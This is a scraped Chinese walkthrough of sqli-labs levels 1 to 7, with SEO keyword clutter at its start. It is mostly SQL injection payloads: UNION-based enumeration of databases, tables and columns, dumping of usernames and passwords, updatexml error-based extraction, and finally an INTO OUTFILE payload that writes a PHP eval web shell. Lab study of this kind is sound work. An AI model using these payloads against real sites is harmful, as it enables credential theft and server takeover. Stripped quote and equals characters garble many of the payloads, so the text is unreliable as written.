深圳官网网站建设,百度网站怎么提升排名,win7和WordPress的关系,个人网站页面模板先在?id参数后面判断是否存在sql注入 id1 返回正常 id1 返回报错#xff08;说明可能存在sql注入#xff09; id1 and 11 返回正常 id1 and 12 返回正常 id1 and 11 报错 id1 and 12 报错 说明$id后面可能还存在sql语句(源码源码#xff1a;$sqlS…先在?id参数后面判断是否存在sql注入 id1 返回正常 id1 返回报错说明可能存在sql注入 id1 and 11 返回正常 id1 and 12 返回正常 id1 and 11 报错 id1 and 12 报错 说明$id后面可能还存在sql语句(源码源码$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;--是为了注释后面的limit 0,1; id1 and 11 -- 返回正常 id1 and 12 -- 报错
接下来拿开源靶场测试sqllibs 接上面可以用order by 来字段测试有多少列 ?id1 order by 1 --正常 ?id1 order by 3 --正常 ?id1 order by 4 --报错 说明这里字段数为3之后用联合查询union select 拼接 ?id1 and 12 union select 1,2,3 --或者#这里哪个都可以这里的and 12是为了就将正确的id1不显示返回错误显示后面union select语句的值 结果这里SQL查询语句中select后面的字段数量是3个23 字段. 可以利用来判断注入点语句如下?id1 and 12 union select 1,database(),version() -- 得到数据库名以及版本号。 可以查看数据库名?id1 and 12 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --当然这个语句支持的是mysql5.0以上的。当然这里不拘泥于查询information_schema这个数据库名 查看数据库中的表?id1 and 12 union select 1,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),3 -- 或者查询数据库中其他的表?id1 and 12 union select 1,(select group_concat(table_name)from information_schema.tables where table_schemasecurity),3 -- 查看表中的字段?id1 and 12 union select 1,(select group_concat(column_name)from information_schema.columns where table_nameusers),3 -- 爆出指定字段?id1 and 12 union select 1,(select group_concat(username,char(32),password)from security.users),3 --
第二关与第一关基本一样就是在?id1 and 11 --(把 去掉就行其他查询方式以及原理一样)源码源码$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;这里是数字型注入 其他流程都和第一关一样
第三关这里是字符型注入源码$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;因为源码中多了()所以注入时使用id1’)闭合源码中前面的括号: ?id1) and 11 -- 其他流程都和第一关一样 第四关(这里是字符型注入)源码源码 $id . $id . ; $sqlSELECT * FROM users WHERE id($id) LIMIT 0,1; 因为在传入$id前对$id进行了双引号包裹然后sql语句中的$id又有括号包围所以注入时使用id1)进行闭合构造其他流程都和第一关一样
第五关采取sql盲注 源码$sqlSELECT * FROM users WHERE id$id LIMIT 0,1; 这里盲注报错有三种floor updataxml extractvalue这里我们用updataxml自定义一个payload: union select updatexml(1,concat(~,(payload),~),3) 判断数据库union select updatexml(1,concat(~,(database()),~),3) -- 判断表名?id1 union select updatexml(1,concat(~,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),~),3) --
判断字段名?id1 union select updatexml(1,concat(~,(select column_name from information_schema.columns where table_nameusers limit 0,1),~),3) --
爆出他的字段?id1 union select updatexml(1,concat(~,(select username from users limit 0,1),~),3) --
第六关字符型注入盲注 源码$id .$id.; $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; 过程id闭合需要修改为id1其它和Pass-5一样 第七关字符型注入盲注 源码源码 $sqlSELECT * FROM users WHERE id(($id)) LIMIT 0,1; id闭合需要修改为id1’))使用into outfile写入一句话 因为作者注释了数据库错误显示我们打开它先使用报错注入获取当前网站根目录在进行写入一句话 ?id1)) and 12 union select null,?php eval($_REQUEST[111]);?,null into outfile 一句话路径名 --